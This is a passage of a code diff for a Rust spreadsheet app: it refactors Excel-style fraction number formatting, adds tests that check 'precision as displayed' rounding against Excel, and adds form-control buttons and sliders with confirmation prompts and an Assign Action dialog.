/// A fraction section is `[whole] [sep] num [lit] / [lit] den`: the numerator is the run of
|
||||
/// placeholders ending at the last one before the bar, the whole part is every placeholder
|
||||
/// before it (literals between them stay), `sep` the literals between the two parts.
|
||||
///
|
||||
/// Observed Excel behaviour: when the whole part shows no digit its separator disappears (or
|
||||
/// becomes spaces when the whole part or the numerator has a `?`); when the fraction is zero and
|
||||
/// the numerator has no `0` placeholder, the separator, numerator, bar and denominator disappear
|
||||
/// (or become spaces when any part has a `?`) and the whole part shows at least `0`.
|
||||
fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Option<String>]) {
|
||||
let toks = &sec.toks;
|
||||
/// Where a fraction section's parts are (see [`render_fraction`]).
|
||||
struct FractionLayout {
|
||||
slash: usize,
|
||||
num_start: usize,
|
||||
whole_idx: Vec<usize>,
|
||||
num_idx: Vec<usize>,
|
||||
sep_start: usize,
|
||||
fixed_den: Option<u64>,
|
||||
den_start: usize,
|
||||
den_end: usize,
|
||||
den_idx: Vec<usize>,
|
||||
}
|
||||
|
||||
fn fraction_layout(toks: &[Tok]) -> Option<FractionLayout> {
|
||||
let is_digit = |i: usize| matches!(toks.get(i), Some(Tok::Digit(_)));
|
||||
let Some(slash) = toks.iter().position(|t| matches!(t, Tok::Slash)) else { return };
|
||||
let Some(num_last) = (0..slash).rev().find(|&i| is_digit(i)) else { return };
|
||||
let slash = toks.iter().position(|t| matches!(t, Tok::Slash))?;
|
||||
let num_last = (0..slash).rev().find(|&i| is_digit(i))?;
|
||||
let mut num_start = num_last;
|
||||
while num_start > 0 && is_digit(num_start - 1) {
|
||||
num_start -= 1;
|
||||
@@ -463,16 +536,20 @@ fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Opt
|
||||
}
|
||||
}
|
||||
let den_idx = digit_indices(toks, den_start..den_end);
|
||||
let has_q = |idx: &[usize]| idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('?')));
|
||||
let has_whole = !whole_idx.is_empty();
|
||||
Some(FractionLayout { slash, num_start, whole_idx, num_idx, sep_start, fixed_den, den_start, den_end, den_idx })
|
||||
}
|
||||
|
||||
/// The whole part, numerator and denominator a fraction section shows for a non-negative `x`.
|
||||
fn fraction_parts(lay: &FractionLayout, x: f64) -> (f64, f64, u64) {
|
||||
let has_whole = !lay.whole_idx.is_empty();
|
||||
let (mut whole, f) = if has_whole { (x.floor(), x - x.floor()) } else { (0.0, x) };
|
||||
// Without a whole part the numerator carries the whole value and can pass u64::MAX, so it
|
||||
// stays an f64 (a float-to-u64 cast saturates).
|
||||
let (mut num, den): (f64, u64) = match fixed_den {
|
||||
let (mut num, den): (f64, u64) = match lay.fixed_den {
|
||||
Some(d) => ((f * d as f64).round(), d),
|
||||
None if f >= 1e15 => (f.round(), 1),
|
||||
None => {
|
||||
let digits = den_idx.len().clamp(1, 7) as u32;
|
||||
let digits = lay.den_idx.len().clamp(1, 7) as u32;
|
||||
let (n, d) = approximate(f, 10u64.pow(digits) - 1);
|
||||
(n as f64, d)
|
||||
}
|
||||
@@ -483,6 +560,24 @@ fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Opt
|
||||
whole += (n / den) as f64;
|
||||
num = (n % den) as f64;
|
||||
}
|
||||
(whole, num, den)
|
||||
}
|
||||
|
||||
/// A fraction section is `[whole] [sep] num [lit] / [lit] den`: the numerator is the run of
|
||||
/// placeholders ending at the last one before the bar, the whole part is every placeholder
|
||||
/// before it (literals between them stay), `sep` the literals between the two parts.
|
||||
///
|
||||
/// Observed Excel behaviour: when the whole part shows no digit its separator disappears (or
|
||||
/// becomes spaces when the whole part or the numerator has a `?`); when the fraction is zero and
|
||||
/// the numerator has no `0` placeholder, the separator, numerator, bar and denominator disappear
|
||||
/// (or become spaces when any part has a `?`) and the whole part shows at least `0`.
|
||||
fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Option<String>]) {
|
||||
let toks = &sec.toks;
|
||||
let Some(lay) = fraction_layout(toks) else { return };
|
||||
let (whole, num, den) = fraction_parts(&lay, x);
|
||||
let FractionLayout { slash, num_start, whole_idx, num_idx, sep_start, fixed_den, den_start, den_end, den_idx } = lay;
|
||||
let has_q = |idx: &[usize]| idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('?')));
|
||||
let has_whole = !whole_idx.is_empty();
|
||||
let whole_s = if whole >= 1.0 { fixed(whole, 0).0 } else { String::new() };
|
||||
let num_zero_ph = num_idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('0')));
|
||||
if has_whole && num == 0.0 && !num_zero_ph {
|
||||
|
||||
@@ -901,3 +901,120 @@ fn closed_brackets_still_hold_their_semicolons() {
|
||||
assert_eq!(f("0\\[0", 5.0), "0[5");
|
||||
assert_eq!(f("\"[\"0;0", 5.0), "[5");
|
||||
}
|
||||
|
||||
/// "Set precision as displayed": the value each format stores. Expected values observed in Excel
|
||||
/// (COM, `Workbook.PrecisionAsDisplayed = True`) with synthetic values.
|
||||
#[test]
|
||||
fn round_as_displayed_matches_excel() {
|
||||
let r = |code: &str, n: f64| NumberFormat::parse(code).round_as_displayed(n);
|
||||
let cases: &[(&str, f64, f64)] = &[
|
||||
("0", 527.91, 528.0),
|
||||
("0", 2.5, 3.0),
|
||||
("0", -2.5, -3.0),
|
||||
("0.00", 1.005, 1.01),
|
||||
("0.00", 1.23456, 1.23),
|
||||
("#.##", 1.23456, 1.23),
|
||||
("#.##", 1.2, 1.2),
|
||||
("?.??", 1.23456, 1.23),
|
||||
("0.0??", 1.23456, 1.235),
|
||||
("0%", 0.123456, 0.12),
|
||||
("0.0%", 0.123456, 0.123),
|
||||
("0.00%", 0.123456, 0.1235),
|
||||
("$#,##0.00", 1234.5678, 1234.57),
|
||||
("#,##0", 1234.5678, 1235.0),
|
||||
("0.0,,", 1234567.891, 1200000.0),
|
||||
("#,##0,", 1234567.891, 1235000.0),
|
||||
("0.0,", 1234567.891, 1234600.0),
|
||||
("# ?/?", 0.3333333, 1.0 / 3.0),
|
||||
("# ??/??", 0.3333333, 1.0 / 3.0),
|
||||
("# ?/8", 0.3, 0.25),
|
||||
("# ?/4", 2.71829, 2.75),
|
||||
("?/?", 0.123, 0.125),
|
||||
("0.00E+00", 123456.789, 123000.0),
|
||||
("##0.0E+0", 123456.789, 120000.0),
|
||||
("0.0E+0", 0.000123456, 0.00012),
|
||||
("##0.E+0", 98765.4, 100000.0),
|
||||
("###.00E+0", 98765.4, 98800.0),
|
||||
("000.0E+0", 0.0123456, 0.012),
|
||||
("0.00E+0\" u\"", 98765.4, 98800.0),
|
||||
("0.0%E+0", 12345.0, 12345.0),
|
||||
("0.00;(0.00)", -1.23456, -1.23),
|
||||
("0.00;(0.0)", -1.23456, -1.2),
|
||||
("0.0 \"kg\"", 1.23456, 1.2),
|
||||
("0.00;-0.00;\"zero\"", 0.001, 0.0),
|
||||
("0.00_);(0.00)", 1.23456, 1.23),
|
||||
("#,##0.0_);[Red](#,##0.0)", 2.345, 2.3),
|
||||
// Kept at full precision.
|
||||
("General", 1.0 / 3.0, 1.0 / 3.0),
|
||||
("m/d/yyyy", 45000.75, 45000.75),
|
||||
("h:mm", 45000.123456, 45000.123456),
|
||||
("h:mm:ss", 45000.123456, 45000.123456),
|
||||
("[h]:mm", 1.2345678, 1.2345678),
|
||||
("mm:ss.0", 0.0001234567, 0.0001234567),
|
||||
("d", 45000.6, 45000.6),
|
||||
("@", 1.23456, 1.23456),
|
||||
("\"x\"", 1.23456, 1.23456),
|
||||
(";;;", 1.23456, 1.23456),
|
||||
// Conditions are ignored: the sign picks the section (first for positives, second for
|
||||
// negatives), whatever section displays the number.
|
||||
("[<1]0.00;0", 1.0 / 3.0, 0.33),
|
||||
("[<1]0.00;0", 2.0 + 1.0 / 3.0, 2.33),
|
||||
("[<1]0.00;0", 12345.678, 12345.68),
|
||||
("[<1]0.00;0", -10.0 / 3.0, -3.0),
|
||||
("[<1]0.00;0", -1.0 / 3.0, 0.0),
|
||||
("[>1]0.0;0.000", 1.0 / 3.0, 0.3),
|
||||
("[>1]0.0;0.000", -10.0 / 3.0, -3.333),
|
||||
("[>=100]0;0.000", 2.0 + 1.0 / 3.0, 2.0),
|
||||
("[>=100]0;0.000", -200.0 - 1.0 / 3.0, -200.333),
|
||||
("[<0]0.0;0.000", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("[>100]0;[<-100]0.0;0.000", -2.0 - 1.0 / 3.0, -2.3),
|
||||
("[<=-1]0.0;[>=1]0.000;0.00000", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("0.0;[<-5]0.000", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("[<1]0.00%;0", 2.0 + 1.0 / 3.0, 2.3333),
|
||||
("[<1]0.00;0.0,", -2345.6789, -2300.0),
|
||||
("[<1]0.0E+0;0", 1.0 / 3.0, 0.33),
|
||||
("[<1]# ?/?;0", 2.3, 16.0 / 7.0),
|
||||
("[<1]0.00;?/8", -2.0 - 1.0 / 3.0, -2.375),
|
||||
("[<1]0.00;0.0;0.000;@", -2.0 - 1.0 / 3.0, -2.3),
|
||||
("[<1]\"x\";0.0", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
|
||||
("[<1]\"x\";0.0", -2.0 - 1.0 / 3.0, -2.3),
|
||||
("[<1]m/d/yyyy;0.0", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
|
||||
("[<1]0.0;m/d/yyyy", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
// One section with a condition: negatives keep the full value, unless an `@` section
|
||||
// follows (then the first section applies, as without a condition).
|
||||
("[<1]0.00", 2.0 + 1.0 / 3.0, 2.33),
|
||||
("[<1]0.00", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("[>=-100]0.0", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("[<1]0.00;@", -2.0 - 1.0 / 3.0, -2.33),
|
||||
("[<1]0.0%;@", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("0.00;@", -2.0 - 1.0 / 3.0, -2.33),
|
||||
// A completely empty section passes to the next; a colour or a literal doesn't.
|
||||
("0.0;;0.000", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("[<1]0.0;;0.000", -2.0 - 1.0 / 3.0, -2.333),
|
||||
("[<1]0.0;;0.0%", -2.0 - 1.0 / 3.0, -2.333),
|
||||
(";0.0", 2.0 + 1.0 / 3.0, 2.3),
|
||||
(";;0.0", 2.0 + 1.0 / 3.0, 2.3),
|
||||
(";;0.0", -2.0 - 1.0 / 3.0, -2.3),
|
||||
("0.0;;", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("0.0;;@", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("[<1]0.00;", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("0.0;[Red];0.000", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("[<1]0.0;\" \";0.000", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
|
||||
("[<1];0.0;0.00", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
|
||||
];
|
||||
for &(code, n, want) in cases {
|
||||
assert_eq!(r(code, n), want, "{code} with {n}");
|
||||
}
|
||||
// A negative that rounds to zero stores 0, not -0.
|
||||
let z = r("0.00", -0.004);
|
||||
assert!(z == 0.0 && z.is_sign_positive());
|
||||
// Non-finite and extreme inputs come back unchanged or finite, never a panic.
|
||||
assert!(r("0.00", f64::NAN).is_nan());
|
||||
assert_eq!(r("0.00", f64::INFINITY), f64::INFINITY);
|
||||
assert_eq!(r("0", 1e300 * 10.0), 1e301);
|
||||
assert_eq!(r("0.0,,,,,,,,,,", 1.234e35), 1.234e35);
|
||||
assert_eq!(r("0.000000000000000000000000000000", 1.0 / 3.0), 0.333333333333333);
|
||||
assert_eq!(r("0%%%%%%%%%%%%%%%%%%%%%%%%", f64::MAX), f64::MAX);
|
||||
assert_eq!(r("0", f64::MAX), f64::MAX);
|
||||
assert_eq!(r("0.0E+0", f64::MIN_POSITIVE), 2.2e-308);
|
||||
}
|
||||
|
||||
@@ -18,6 +18,7 @@ gridcraft-chart = { workspace = true }
|
||||
# this feature. The UI draws ✕, ◀, ↘ and 📋 as text; without these faces the strict kittest
|
||||
# harness (and a host with no symbol font) renders them as tofu.
|
||||
egui = { workspace = true, features = ["default_fonts", "monochrome_emoji_fonts"] }
|
||||
egui_extras = { workspace = true }
|
||||
serde = { workspace = true }
|
||||
serde_json = { workspace = true }
|
||||
log = { workspace = true }
|
||||
|
||||
@@ -327,7 +327,7 @@ impl SheetApp {
|
||||
}
|
||||
|
||||
/// Whether the active sheet of the active document is protected (drives the Protect/Unprotect
|
||||
/// Sheet labels and actions). While a dialog's reference boxes have picked, it is the dialog's
|
||||
/// Sheet labels and actions). While a dialog with reference boxes is open, it is the dialog's
|
||||
/// own sheet: Protect Sheet ends the pick and acts on that sheet, so the label says so too.
|
||||
pub fn active_sheet_protected(&self) -> bool {
|
||||
if let Some(protected) = self.dialog.as_ref().and_then(|d| d.home_sheet_protected(self)) {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//! Floating objects on the sheet: charts (rendered by `gridcraft-chart` into primitives that
|
||||
//! we paint with egui), pictures, shapes, equations and slicers.
|
||||
//! we paint with egui), pictures, shapes, equations, slicers and form controls (`form_controls.rs`).
|
||||
|
||||
use egui::epaint::{PathShape, PathStroke};
|
||||
use egui::{Align2, Color32, FontId, Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2};
|
||||
@@ -381,6 +381,18 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo
|
||||
done(start, r);
|
||||
}
|
||||
paint_slicers(p, geo, wb, si, sh);
|
||||
// Form controls sit above every other object.
|
||||
let hover = p.ctx().input(|i| i.pointer.hover_pos()).map(|h| geo.mirror_pos(h)).filter(|h| geo.in_cells(*h));
|
||||
for c in &sh.controls {
|
||||
let r = anchor_rect(geo, sh, &c.anchor);
|
||||
// A slider's value shows beside it while it is dragged.
|
||||
if !r.expand(24.0).intersects(p.clip_rect()) {
|
||||
continue;
|
||||
}
|
||||
let start = p.add(egui::Shape::Noop);
|
||||
crate::form_controls::paint(p, r, c, geo.z, crate::form_controls::look(app, geo, c, r, hover));
|
||||
done(start, r);
|
||||
}
|
||||
// The selected object's frame and handles go over every object, and move with it on a
|
||||
// right-to-left sheet.
|
||||
if let Some(r) = app.selected_object.and_then(|o| object_rect(geo, sh, o))
|
||||
@@ -523,13 +535,19 @@ pub fn selected_handle(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option
|
||||
crate::objects::handle_at(r, p).map(|h| (o, r, h))
|
||||
}
|
||||
|
||||
/// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then
|
||||
/// charts, pictures and shapes (equations included), each from the top of its stack. Nothing is hit outside the cell
|
||||
/// area or while objects are hidden.
|
||||
/// The topmost object under `p` and its rect: form controls paint on top, so they are hit first,
|
||||
/// then slicers, charts, pictures and shapes (equations included), each from the top of its stack.
|
||||
/// Nothing is hit outside the cell area or while objects are hidden.
|
||||
pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect)> {
|
||||
if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) {
|
||||
return None;
|
||||
}
|
||||
for c in sh.controls.iter().rev() {
|
||||
let r = anchor_rect(geo, sh, &c.anchor);
|
||||
if r.contains(p) {
|
||||
return Some((ObjRef::new(ObjKind::Control, c.id), r));
|
||||
}
|
||||
}
|
||||
for sl in sh.slicers.iter().rev() {
|
||||
let r = anchor_rect(geo, sh, &sl.anchor);
|
||||
if r.contains(p) {
|
||||
|
||||
@@ -0,0 +1,569 @@
|
||||
//! Form controls in the window, apart from drawing them: placing a new control (draw it on the
|
||||
//! grid, or click for the default size), pressing a button and answering its questions, the
|
||||
//! control's context menu (Edit Text, Assign Action, Format Control, Delete), and the Assign
|
||||
//! Action and Format Control dialogs. Everything goes through the `insert.*` and `control.*`
|
||||
//! commands.
|
||||
|
||||
use egui::{Pos2, Rect, Stroke, StrokeKind, Ui, vec2};
|
||||
use gridcraft_engine::core::CellRef;
|
||||
use gridcraft_engine::macros::policy::{Policy, macro_policy};
|
||||
use gridcraft_engine::model::{CONTROL_MAX, ControlAction, ControlKind, FormControl, MacroInput, ObjKind, ObjRef, Sheet};
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
use crate::SheetApp;
|
||||
use crate::dialogs::Dialog;
|
||||
use crate::grid::Geo;
|
||||
use crate::theme::Tokens;
|
||||
|
||||
/// The control `id` on the active sheet.
|
||||
pub fn control(app: &SheetApp, id: u32) -> Option<FormControl> {
|
||||
app.session.active()?.wb.active()?.controls.iter().find(|c| c.id == id).cloned()
|
||||
}
|
||||
|
||||
/// Whether the control `id` on the active sheet is a button (its menu adds Edit Text and Assign
|
||||
/// Action).
|
||||
pub fn is_button(app: &SheetApp, id: u32) -> bool {
|
||||
app.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.controls.iter().any(|c| c.id == id && c.kind == ControlKind::Button))
|
||||
}
|
||||
|
||||
fn insert_id(kind: ControlKind) -> &'static str {
|
||||
match kind {
|
||||
ControlKind::Button => "insert.button",
|
||||
ControlKind::Slider => "insert.slider",
|
||||
ControlKind::Spin => "insert.spinButton",
|
||||
}
|
||||
}
|
||||
|
||||
/// The cell under a logical grid position and the offset into it, in sheet points.
|
||||
fn cell_point(geo: &Geo, sh: &Sheet, p: Pos2) -> (CellRef, f32, f32) {
|
||||
let (col, row) = (geo.col_at(sh, p.x), geo.row_at(sh, p.y));
|
||||
let dx = ((p.x - geo.x(sh, col)) / geo.z).max(0.0);
|
||||
let dy = ((p.y - geo.y(sh, row)) / geo.z).max(0.0);
|
||||
(CellRef::new(row, col), dx, dy)
|
||||
}
|
||||
|
||||
/// Insert › Controls placement: while a kind is armed, a drag on the grid draws the control and a
|
||||
/// click places it at its default size. Escape disarms. True when it used the pointer.
|
||||
pub fn place(app: &mut SheetApp, ui: &Ui, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool {
|
||||
let Some(kind) = app.grid.placing else {
|
||||
app.grid.place_start = None;
|
||||
return false;
|
||||
};
|
||||
let ctx = ui.ctx().clone();
|
||||
if ctx.input(|i| i.key_pressed(egui::Key::Escape)) {
|
||||
app.grid.placing = None;
|
||||
app.grid.place_start = None;
|
||||
return true;
|
||||
}
|
||||
let pointer = ctx.input(|i| i.pointer.clone());
|
||||
// Logical positions (see `Geo::rtl`).
|
||||
let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p));
|
||||
if pos.is_some_and(|p| geo.in_cells(p)) {
|
||||
ctx.set_cursor_icon(egui::CursorIcon::Crosshair);
|
||||
}
|
||||
if pointer.primary_pressed()
|
||||
&& resp.contains_pointer()
|
||||
&& let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos).filter(|p| geo.in_cells(*p))
|
||||
{
|
||||
app.grid.place_start = Some(p);
|
||||
}
|
||||
let Some(start) = app.grid.place_start else { return resp.contains_pointer() && pointer.any_down() };
|
||||
let rect = Rect::from_two_pos(start, pos.unwrap_or(start));
|
||||
if pointer.primary_down() {
|
||||
let t = Tokens::get(&ctx);
|
||||
ui.painter().rect_stroke(geo.mirror_rect(rect), 2.0, Stroke::new(1.0, t.sheet_control_border), StrokeKind::Inside);
|
||||
return true;
|
||||
}
|
||||
app.grid.place_start = None;
|
||||
app.grid.placing = None;
|
||||
let (cell, dx, dy) = cell_point(geo, sh, rect.min);
|
||||
let mut params = json!({"at": cell.a1(), "dx": dx, "dy": dy});
|
||||
// A drag sets the size (and a slider's orientation); a click keeps the default size.
|
||||
if rect.width() >= 6.0 || rect.height() >= 6.0 {
|
||||
params["width"] = json!((rect.width() / geo.z).max(8.0));
|
||||
params["height"] = json!((rect.height() / geo.z).max(8.0));
|
||||
if kind == ControlKind::Slider {
|
||||
params["horizontal"] = json!(rect.width() >= rect.height());
|
||||
}
|
||||
}
|
||||
match app.run(insert_id(kind), params) {
|
||||
Ok(v) => {
|
||||
if let Some(id) = v["control"].as_u64().and_then(|id| u32::try_from(id).ok()) {
|
||||
app.selected_object = Some(ObjRef::new(ObjKind::Control, id));
|
||||
// A new button asks what it should run, as Excel's Assign Macro does.
|
||||
if kind == ControlKind::Button {
|
||||
app.open_dialog("assignAction", json!({"id": id}));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => app.message = Some(("Insert Control".into(), crate::clean_error(&e))),
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// Opens a control's editor (double-click): a button's text, else Format Control.
|
||||
pub fn edit(app: &mut SheetApp, id: u32) {
|
||||
match control(app, id).map(|c| c.kind) {
|
||||
Some(ControlKind::Button) => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})),
|
||||
Some(_) => app.open_dialog("formatControl", json!({"id": id})),
|
||||
None => {}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- pressing a button
|
||||
|
||||
/// The question in an `approve: …` error, if it is one.
|
||||
fn approve_text(e: &str) -> Option<String> {
|
||||
let rest = e.split_once("approve: ")?.1;
|
||||
Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string())
|
||||
}
|
||||
|
||||
/// The question in a `confirm: …` error, if it is one.
|
||||
fn confirm_text(e: &str) -> Option<String> {
|
||||
let rest = e.split_once("confirm: ")?.1;
|
||||
Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string())
|
||||
}
|
||||
|
||||
/// What a press of the button `params` names would run, as text: the workbook, the sheet, the
|
||||
/// button, its action, the content of the macro it runs, and the selection (a macro on the
|
||||
/// selection, or a command without a range, works there). `None` when the active sheet has no
|
||||
/// such button. A question is answered only while this is unchanged, so an answer never applies
|
||||
/// to an action other than the one it asked about.
|
||||
fn press_binding(app: &SheetApp, params: &Json) -> Option<String> {
|
||||
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
|
||||
let d = app.session.active()?;
|
||||
let sheet = d.wb.active_sheet();
|
||||
let sh = d.wb.sheet(sheet)?;
|
||||
let c = sh.controls.iter().find(|c| c.id == id && c.kind == ControlKind::Button)?;
|
||||
let mac = match &c.action {
|
||||
Some(ControlAction::Macro { name, .. }) => {
|
||||
gridcraft_engine::macros::find(&d.wb, name).and_then(|i| d.wb.macros.get(i)).map(gridcraft_engine::macros::fingerprint)
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
Some(
|
||||
json!({
|
||||
"doc": d.uid,
|
||||
"sheet": sheet,
|
||||
"sheetName": sh.name,
|
||||
"control": id,
|
||||
"action": c.action,
|
||||
"macro": mac,
|
||||
"selection": d.selection,
|
||||
})
|
||||
.to_string(),
|
||||
)
|
||||
}
|
||||
|
||||
/// Presses a button (`control.press` with `params`). A question (approve the action, or make
|
||||
/// room for a macro's output) opens a prompt whose buttons press it again with the answer, bound
|
||||
/// to what the question was about (see [`press_binding`]); any other error shows in a message
|
||||
/// box.
|
||||
pub fn press(app: &mut SheetApp, params: Json) {
|
||||
let bound = press_binding(app, ¶ms);
|
||||
let Err(e) = app.run("control.press", params.clone()) else { return };
|
||||
let (text, choices) = if let Some(q) = approve_text(&e) {
|
||||
(q, json!([["Run", {"approve": true}]]))
|
||||
} else if let Some(q) = confirm_text(&e) {
|
||||
let what = q.split_once(" Overwrite them").map_or(q.as_str(), |(a, _)| a).trim_end_matches(['.', ' ']).to_string();
|
||||
(
|
||||
format!("{what}. Overwrite them, or move the data out of the way?"),
|
||||
json!([["Overwrite", {"onConflict": "overwrite"}], ["Shift Down", {"onConflict": "shiftDown"}], ["Shift Right", {"onConflict": "shiftRight"}]]),
|
||||
)
|
||||
} else {
|
||||
app.message = Some(("Button".into(), crate::clean_error(&e)));
|
||||
return;
|
||||
};
|
||||
app.open_dialog("controlQuestion", json!({"text": text, "params": params, "choices": choices, "bound": bound}));
|
||||
}
|
||||
|
||||
pub fn open_question(params: &Json) -> Option<Dialog> {
|
||||
let text = params.get("text").and_then(Json::as_str)?;
|
||||
let v = json!({
|
||||
"text": text,
|
||||
"params": params.get("params").cloned().unwrap_or_else(|| json!({})),
|
||||
"choices": params.get("choices").cloned().unwrap_or_else(|| json!([])),
|
||||
"bound": params.get("bound").and_then(Json::as_str),
|
||||
});
|
||||
Some(Dialog::custom("controlQuestion", "Button", v))
|
||||
}
|
||||
|
||||
/// The prompt [`press`] opens: the question, a button per answer, and Cancel.
|
||||
pub fn question_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
|
||||
ui.label(val(d, "text"));
|
||||
ui.add_space(8.0);
|
||||
let choices: Vec<(String, Json)> = d
|
||||
.values
|
||||
.get("choices")
|
||||
.and_then(Json::as_array)
|
||||
.map(|a| a.iter().filter_map(|c| Some((c.get(0)?.as_str()?.to_string(), c.get(1)?.clone()))).collect())
|
||||
.unwrap_or_default();
|
||||
let mut answer = None;
|
||||
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
|
||||
if ui.button(" Cancel ").clicked() {
|
||||
*open = false;
|
||||
}
|
||||
for (label, extra) in choices.iter().rev() {
|
||||
if ui.button(format!(" {label} ")).clicked() {
|
||||
answer = Some(extra.clone());
|
||||
}
|
||||
}
|
||||
});
|
||||
if let Some(extra) = answer {
|
||||
*open = false;
|
||||
let mut params = d.values.get("params").cloned().unwrap_or_else(|| json!({}));
|
||||
// The answer is for the action the question named: if the workbook, the sheet, the
|
||||
// button, its action, its macro or the selection changed meanwhile (an agent reassigned
|
||||
// it), nothing runs, and the next press asks about what it runs now.
|
||||
let asked = d.values.get("bound").and_then(Json::as_str);
|
||||
let now = press_binding(app, ¶ms);
|
||||
if asked.is_none() || asked != now.as_deref() {
|
||||
let why = if now.is_none() {
|
||||
"The button is gone, so nothing ran."
|
||||
} else {
|
||||
"The button changed while the question was open, so nothing ran. Press it again to see what it runs now."
|
||||
};
|
||||
app.message = Some(("Button".into(), why.into()));
|
||||
return;
|
||||
}
|
||||
if let (Some(p), Some(x)) = (params.as_object_mut(), extra.as_object()) {
|
||||
for (k, v) in x {
|
||||
p.insert(k.clone(), v.clone());
|
||||
}
|
||||
}
|
||||
press(app, params);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- Assign Action
|
||||
|
||||
fn val(d: &Dialog, key: &str) -> String {
|
||||
d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string()
|
||||
}
|
||||
|
||||
/// The workbook's macros: (name, description).
|
||||
fn macros(app: &SheetApp) -> Vec<(String, String)> {
|
||||
app.session.active().map(|d| d.wb.macros.iter().map(|m| (m.name.clone(), m.description.clone())).collect()).unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Assign Action: a macro (on the selection or a fixed range, with an optional output cell) or a
|
||||
/// command with its parameters.
|
||||
pub fn open_assign(app: &SheetApp, params: &Json) -> Option<Dialog> {
|
||||
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
|
||||
let c = control(app, id)?;
|
||||
let mut v =
|
||||
json!({"id": id, "mode": "macro", "macro": "", "input": "selection", "range": "", "output": "", "command": "", "params": "{}", "search": ""});
|
||||
match &c.action {
|
||||
Some(ControlAction::Macro { name, input, output }) => {
|
||||
v["macro"] = json!(name);
|
||||
if let MacroInput::Fixed(r) = input {
|
||||
v["input"] = json!("fixed");
|
||||
v["range"] = json!(r);
|
||||
}
|
||||
v["output"] = json!(output.clone().unwrap_or_default());
|
||||
}
|
||||
Some(ControlAction::Command { id, params }) => {
|
||||
v["mode"] = json!("command");
|
||||
v["command"] = json!(id);
|
||||
v["params"] = json!(serde_json::to_string_pretty(params).unwrap_or_else(|_| "{}".into()));
|
||||
}
|
||||
None => {
|
||||
// A new button suggests the workbook's first macro.
|
||||
v["macro"] = json!(macros(app).first().map(|m| m.0.clone()).unwrap_or_default());
|
||||
}
|
||||
}
|
||||
Some(Dialog::custom("assignAction", &format!("Assign Action: {}", c.display_name()), v))
|
||||
}
|
||||
|
||||
/// The `control.assign` params the dialog describes, or why it can't yet.
|
||||
pub fn assign_params(d: &Dialog) -> Result<Json, String> {
|
||||
let id = d.values.get("id").cloned().unwrap_or(Json::Null);
|
||||
if val(d, "mode") == "command" {
|
||||
let command = val(d, "command");
|
||||
if command.trim().is_empty() {
|
||||
return Err("Choose a command.".into());
|
||||
}
|
||||
let text = val(d, "params");
|
||||
let params: Json = if text.trim().is_empty() {
|
||||
json!({})
|
||||
} else {
|
||||
serde_json::from_str(&text).map_err(|e| format!("The parameters aren't valid JSON: {e}"))?
|
||||
};
|
||||
if !params.is_object() {
|
||||
return Err("The parameters must be a JSON object, such as {\"range\": \"A1:B2\"}.".into());
|
||||
}
|
||||
return Ok(json!({"id": id, "command": command.trim(), "params": params}));
|
||||
}
|
||||
let name = val(d, "macro");
|
||||
if name.trim().is_empty() {
|
||||
return Err("Type or choose a macro name.".into());
|
||||
}
|
||||
let input = if val(d, "input") == "fixed" { val(d, "range") } else { "selection".into() };
|
||||
if input.trim().is_empty() {
|
||||
return Err("Type the range the macro always runs on.".into());
|
||||
}
|
||||
Ok(json!({"id": id, "macro": name.trim(), "input": input.trim(), "output": val(d, "output").trim()}))
|
||||
}
|
||||
|
||||
/// Commands a button may run whose id or label contains `search` (every one when it is empty):
|
||||
/// (id, label). File commands are left out: the ones a button may run only produce bytes.
